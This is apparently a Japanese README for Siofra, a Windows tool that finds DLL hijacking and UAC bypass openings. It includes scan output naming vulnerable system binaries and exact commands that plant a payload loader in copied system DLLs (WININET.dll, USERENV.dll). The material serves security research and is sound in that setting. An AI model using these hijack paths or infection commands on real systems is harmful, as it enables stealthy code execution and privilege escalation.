
Siofra は、Windows プログラムにおける DLL ハイジャックの脆弱性を特定・悪用するために設計されたツールです。ディスク上の PE、またはアクティブなプロセスに対応するメモリ内のイメージファイルについて、すべての依存関係(および対応する脆弱性)を可視化するために Windows ローダーをシミュレートすることができます。さらに重要なのは、動的シェルコード生成を伴う PE 感染を介して、これらのタイプの脆弱性を悪用する DLL を簡単に生成できることです。感染した DLL は、DLL のコード(DllMain、エクスポート関数)とリソースを保持するため、それを読み込むアプリケーションの機能をシームレスに維持しつつ、研究者が実行可能ペイロードを指定して、別のプロセスとして実行するか、ターゲットにモジュールとして読み込ませることができます。さらに、このツールには、UAC バイパスの脆弱性をスキャンするために、UAC 自動昇格の条件と前述の機能を組み合わせる自動化メソッドが含まれています。
現時点では、このツールが公開する脆弱性は非常に多数あります。このツールをテストした際、数百のアプリケーションのうち、脆弱ではないと判明したのはほんの数個だけでした。これらの脆弱性は SafeDllSearchMode にもかかわらず悪用可能であることに注意してください。よくある誤解は、「カレントディレクトリ」(SafeDllSearchMode で修正される)と「アプリケーションディレクトリ」(.exe 自体を含むフォルダー)を混同することから生じます。現在 Windows プログラムに存在する DLL ハイジャックの脆弱性の大半は、アプリケーションディレクトリ(Windows の検索順序で最初に来る)に起因します。以下に、このツールのスキャナが生成した出力の一部を抜粋します。これらの脆弱性が最後にテストされたのは 2017 年 7 月中旬です。
Siofra64.exe --mode file-scan -f "c:\Program Files\Internet Explorer\iexplore.exe" --enum-dependency --dll-hijack
======== c:\Program Files\Internet Explorer\iexplore.exe [64-bit PE] ======== iexplore.exe USER32.dll [KnownDLL] win32u.dll [Base] api-ms-win-core-privateprofile-l1-1-1.dll [API set] kernel32.dll [KnownDLL] GDI32.dll [KnownDLL] api-ms-win-gdi-internal-uap-l1-1-0.dll [API set] gdi32full.dll [Base] msvcp_win.dll [Base] api-ms-win-crt-string-l1-1-0.dll [API set] ucrtbase.dll [Base] msvcrt.dll [KnownDLL] api-ms-win-downlevel-shell32-l1-1-0.dll [API set] shcore.dll [KnownDLL] RPCRT4.dll [KnownDLL] combase.dll [KnownDLL] bcryptPrimitives.dll [Base] ADVAPI32.dll [KnownDLL] api-ms-win-eventing-controller-l1-1-0.dll [API set] sechost.dll [KnownDLL] iertutil.dll [!]
[!] Module iertutil.dll vulnerable at c:\Program Files\Internet Explorer\iertutil.dll (real path: C:\WINDOWS\system32\iertutil.dll)
Siofra64.exe --mode file-scan -f "c:\Program Files\Windows Defender\MpCmdRun.exe" --enum-dependency --dll-hijack
======== c:\Program Files\Windows Defender\MpCmdRun.exe [64-bit PE] ======== MpCmdRun.exe msvcrt.dll [KnownDLL] KERNEL32.dll [KnownDLL] OLEAUT32.dll [KnownDLL] msvcp_win.dll [Base] api-ms-win-crt-string-l1-1-0.dll [API set] ucrtbase.dll [Base] combase.dll [KnownDLL] RPCRT4.dll [KnownDLL] bcryptPrimitives.dll [Base] ADVAPI32.dll [KnownDLL] api-ms-win-eventing-controller-l1-1-0.dll [API set] sechost.dll [KnownDLL] OLE32.dll [KnownDLL] GDI32.dll [KnownDLL] api-ms-win-gdi-internal-uap-l1-1-0.dll [API set] gdi32full.dll [Base] USER32.dll [KnownDLL] win32u.dll [Base] SspiCli.dll [!] mpclient.dll [!] CRYPT32.dll [Base] MSASN1.dll [Base] WINTRUST.dll [Base]
[!] Module SspiCli.dll vulnerable at c:\Program Files\Windows Defender\SspiCli.dll (real path: C:\WINDOWS\system32\SspiCli.dll)
Siofra64.exe --mode file-scan -f "c:\WINDOWS\System32\wbem\wmiprvse.exe" --enum-dependency --dll-hijack
======== c:\WINDOWS\System32\wbem\wmiprvse.exe [64-bit PE] ======== wmiprvse.exe msvcrt.dll [KnownDLL] FastProx.dll [!] wbemcomn.dll [!] bcrypt.dll [!] WS2_32.dll [KnownDLL] api-ms-win-eventing-obsolete-l1-1-0.dll [API set] sechost.dll [KnownDLL] RPCRT4.dll [KnownDLL] api-ms-win-core-heap-obsolete-l1-1-0.dll [API set] kernel32.dll [KnownDLL] NCObjAPI.DLL [!]
[!] Module wbemcomn.dll vulnerable at c:\WINDOWS\System32\wbem\wbemcomn.dll (real path: C:\WINDOWS\system32\wbemcomn.dll) [!] Module bcrypt.dll vulnerable at c:\WINDOWS\System32\wbem\bcrypt.dll (real path: C:\WINDOWS\system32\bcrypt.dll) [!] Module NCObjAPI.DLL vulnerable at c:\WINDOWS\System32\wbem\NCObjAPI.DLL (real path: C:\WINDOWS\system32\NCObjAPI.DLL)
Siofra64.exe --mode file-scan -f "c:\WINDOWS\System32\SearchProtocolHost.exe" --enum-dependency --dll-hijack --explicit-loadlibrary
======== c:\WINDOWS\System32\SearchProtocolHost.exe [64-bit PE] ======== SearchProtocolHost.exe msvcrt.dll [KnownDLL] TQUERY.DLL [!] OLEAUT32.dll [KnownDLL] msvcp_win.dll [Base] api-ms-win-crt-string-l1-1-0.dll [API set] ucrtbase.dll [Base] combase.dll [KnownDLL] RPCRT4.dll [KnownDLL] api-ms-win-core-heap-obsolete-l1-1-0.dll [API set] kernel32.dll [KnownDLL] bcryptPrimitives.dll [Base] cryptdll.dll [!] api-ms-win-security-lsalookup-l2-1-1.dll [API set] advapi32.dll [KnownDLL] api-ms-win-eventing-controller-l1-1-0.dll [API set] sechost.dll [KnownDLL] api-ms-win-shell-namespace-l1-1-0.dll [API set] windows.storage.dll [Base] api-ms-win-shlwapi-winrt-storage-l1-1-1.dll [API set] shlwapi.dll [KnownDLL] GDI32.dll [KnownDLL] api-ms-win-gdi-internal-uap-l1-1-0.dll [API set] gdi32full.dll [Base] USER32.dll [KnownDLL] win32u.dll [Base] api-ms-win-appmodel-state-l1-2-0.dll [API set] kernel.appcore.dll [Base] api-ms-win-shcore-path-l1-1-0.dll [API set] shcore.dll [KnownDLL] api-ms-win-power-base-l1-1-0.dll [API set] powrprof.dll [Base] profapi.dll [Base] msfte.dll [Potential explicit Unicode] [!] msTracer.dll [Potential explicit Unicode] [!] Msidle.dll [Potential explicit Unicode] [!] winhttp.dll [Potential explicit Unicode] [!]
[!] Module msfte.dll vulnerable at C:\WINDOWS\system32\msfte.dll (real path: Unknown) [!] Module msTracer.dll vulnerable at C:\WINDOWS\system32\msTracer.dll (real path: Unknown)
このツールの機能は、ツールの実行モードのそれぞれに対応する 3 つのカテゴリに分けることができます。
感染モードでは、32 ビットおよび 64 ビットの DLL ファイルの両方の感染コピーを生成できます。これらの感染ファイルは、プロセス初期化中に読み込まれると、ターゲットアプリケーションの実行フローをハイジャックし、ターゲットアプリケーションのエントリポイントの実行に先立って、ペイロード DLL を読み込むか、ペイロード実行可能ファイルを起動させることができます。
ファイルスキャンモードでは、実行可能ファイルのパスまたはフォルダー(実行可能ファイルを再帰的に検索するかどうかはオプション)を指定できます。指定されたパスまたはフォルダーに対して、PE インポート、遅延読み込みインポート、API セット、アセンブリ依存関係、明示的に読み込まれたライブラリが再帰的に列挙・処理され、ランタイムのプロセス初期化中にそれぞれが読み込まれるパスが特定されます。この情報を使用して、ツールはハイジャックに対して脆弱なモジュールを特定できます。PE 処理およびローダーシミュレーション中に、ツールは以下を処理できます: 1. プライマリ PE インポートセクションを使用してインポートされたモジュール。 2. 遅延読み込みを介してインポートされたモジュール。 3. WinSxS アセンブリ依存関係の解決(PE マニフェストリソースが解析され、アセンブリ依存関係 ID が抽出され、WinSxS モジュールパスがカスタム実装を使用して特定されます)。 4. 明示的に読み込まれたモジュール(ランタイムに LoadLibrary を介してインポートされたもの)。 5. 上記すべてのインポートタイプの API セット解決。これは、ApiSetSchema.dll にある非公開データ構造のパーサーのカスタム実装によって実現されます(バージョン 2、4、6 のみがテストされていることに注意してください)。 6. 特定のインポートモジュールを名前で検索する機能。 7. UAC バイパス攻撃に悪用できる Windows コンポーネントの特定(UAC 自動昇格条件が指定されたターゲット PE に自動的に適用され、存在する場合はハイジャック攻撃と組み合わせて使用されます)。 8. 以下の基準に基づいて、脆弱ではないモジュール依存関係を自動的に検出およびフィルタリングする機能: * KnownDLLs * 例外("Base")DLL ステータス。Kernelbase.dll、ntdll.dll など。 * マニフェストオーバーライドセキュリティメカニズム(sysprep.exe で Microsoft が使用)
メモリスキャンモードでは、ツールはローカルプロセス名/ID を列挙するか、スキャンするプロセス ID を指定できます。ディスク上で指定された PID に対応するイメージファイルを解析するのではなく、ツールはプロセスに現在読み込まれているモジュールを列挙し、そのうちどれがハイジャックに対して脆弱である可能性があるかを特定します。これは、ディスク上の実行可能ファイルがパック/難読化されており、PE ヘッダーの解析によってインポートを特定できない場合に役立ちます。
ツールの使用方法情報を表示するには、パラメータなしで実行するだけです(出力は下記参照)。対象が 32 ビット PE ファイルか 64 ビット PE ファイルかに応じて、目的のターゲットに対して適切なコンパイル(32 ビットまたは 64 ビット)のツールを使用することが非常に重要です。同様に、32 ビット版のツールは 32 ビットプロセス(x64 OS 上の Wow64)のみを列挙および/またはターゲットにでき、64 ビット版は 64 ビットプロセスのみを列挙および/またはターゲットにできます。この原則は、スキャン(Siofra64.exe は 32 ビット PE をスキップし、Siofra32.exe は 64 ビット PE をスキップします)と PE 感染の両方に適用されます。Siofra32.exe は 32 ビット DLL の感染に使用し、Siofra64.exe は 64 ビット DLL の感染に使用する必要があります。
x64 システムで 32 ビット版のツールを実行すると、Wow64 パスリダイレクトはツールによって明示的に無効化されます。つまり、\Windows\System32\notepad.exe をターゲットにすると、それは 64 ビット PE になるため(代わりに \Windows\Syswow64\notepad.exe を使用する必要があります)、\Program Files\Common Files\microsoft shared\MSInfo\msinfo32.exe をターゲットにすると、それは 64 ビット PE になるため、代わりに \Program Files (x86)\Common Files\microsoft shared\MSInfo\msinfo32.exe を使用する必要があります。
Siofra バージョン 1.13 の使用方法: Siofra32.exe --mode [サポートされているモード: "file-scan"、"mem-scan" および "infect"] -v [省略可能。出力の詳細度レベル] 詳細度レベル: 0 - 出力なし 1 - 重要な成功/失敗ステータスのみ(デフォルト) 2 - 成功/失敗ステータスの追加詳細(破棄された PE を含む) 3 - すべて ファイルスキャンモード: -f [スキャンするファイルまたはディレクトリ] -r [省略可能。再帰的スキャン] --signed [省略可能。署名付きバイナリのみを処理] --delayload [省略可能。依存関係リストに遅延読み込みインポートを含める] --explicit-loadlibrary [省略可能。潜在的に明示的なインポートを依存関係リストに含める(これらは LoadLibrary(Ex)A/W を介して呼び出された可能性のある *.dll 文字列です)] --auto-elevate [省略可能。自動昇格バイナリのみをスキャン] メモリスキャンモード: --pid [スキャンするターゲットプロセス ID。指定しない場合、32 ビットまたは 64 ビットのプロセス名/PID のリストが列挙されます(このツールの 32 ビット版または 64 ビット版のそれぞれに対応)] 任意のスキャンモード: --enum-dependency [依存関係を列挙] --show-unmapped-apiset [省略可能。モジュールへのマッピングに失敗した API セットを出力に含める(デフォルトでは無視)] --dll-hijack [DLL ハイジャックの脆弱性を列挙] --find-module [省略可能。特定のモジュールの依存関係をスキャン。KnownDLLs は除外されることに注意] 感染モード: -f [感染させる DLL ファイル] -o [出力ファイル] --payload-path [ランタイムに感染 DLL へ読み込まれる DLL のパス、またはランタイムに起動される実行可能ファイルのパス] --payload-type [寄生虫ペイロードパスで指定されたペイロードのタイプ。"process"(通常は exe を示す)または "library"(通常は DLL を示す)を指定できます]
ホームドライブ全体をスキャンして、PE ヘッダーを介した標準または遅延読み込みインポートのいずれかを使用して DLL ハイジャックに対して脆弱な 32 ビットプログラムを探します。
Siofra32.exe --mode file-scan -f "C:/" -r --enum-dependency --dll-hijack --delayload
x64 バージョンの Windows 上の Windows Defender アプリケーションフォルダーをスキャンして、PE ヘッダーの標準インポートテーブルを介して読み込まれた脆弱なモジュールを探します。
Siofra64.exe --mode file-scan -f "C:\Program Files\Windows Defender" -r --enum-dependency --dll-hijack
x64 バージョンの Windows 上の 32 ビット Java Update Scheduler プログラムをスキャンして、既知のすべてのチャネル(標準または遅延読み込みインポート、WinSxS、LoadLibrary)を介して読み込まれた脆弱なモジュールを探します。
Siofra32.exe --mode file-scan -f "C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe" --enum-dependency --dll-hijack --delayload --explicit-loadlibrary
Windows フォルダー(およびそのすべてのサブフォルダー)をスキャンして、UAC バイパス攻撃に使用できる可能性のある 64 ビットプログラム(Microsoft によって署名され、自動昇格マニフェストを持つもの)の脆弱なモジュール(PE ヘッダーの標準インポートテーブルを介してインポートされたもの)を探します。
Siofra64.exe --mode file-scan -f "C:\Windows" -r --enum-dependency --dll-hijack --auto-elevate --signed
32 ビット版の WININET.dll(\Windows\SysWOW64\WININET.dll から .\WININET_original.dll にコピー)をインプラントで感染させ、脆弱なプログラムによるプロセス初期化中に読み込まれると、新しい notepad プロセスを起動するようにします。この DLL の感染コピーを単に読み込んでも(たとえば LoadLibrary を介して)、ペイロードはトリガーされないことに注意することが重要です。感染した DLL は、ホストプロセスの標準インポートセクションを介して読み込まれる脆弱なモジュールのコンテキストでのみ機能することを意図しています。
Siofra32.exe --mode infect -f WININET_original.dll -o WININET.dll --payload-type process --payload-path c:\windows\system32\notepad.exe
64 ビット版の USERENV.dll(\Windows\System32\USERENV.dll から .\USERENV_original.dll にコピー)をインプラントで感染させ、C:\Payload.dll に格納された仮想的なペイロード DLL を読み込むようにします。64 ビットプロセスによって読み込まれるすべての DLL は 64 ビット DLL である必要があり、32 ビットプロセスによって読み込まれるすべての DLL は 32 ビット DLL である必要があることに注意することが重要です。したがって、この仮想的なシナリオでは、Payload.dll が USERENV.dll 内のインプラントによって正常に読み込まれるためには、64 ビット PE ファイルである必要があります。
Siofra64.exe --mode infect -f USERENV_original.dll -o USERENV.dll --payload-type library --payload-path "C:\Payload.dll"
私は、他のセキュリティ研究者がこのプロジェクトの技術的詳細を理解できるように、このツールの一部をオープンソース化することにしました。具体的には、64 ビットインプラントシェルコードの 1 つ(「process」ペイロードタイプを指定した場合の 64 ビット PE DLL 感染用)のアセンブラソースコードを提供しています。
ツールの他の技術的側面と、Windows ローダー/検索順序、UAC、WinSxS などに関連する OS の詳細については、このプロジェクトの PDF に記載されています。
Siofra は GPL 3 ライセンスの下でライセンスされています。詳細については LICENSE.MD を参照してください。
Forrest Williams - [email protected] / [email protected]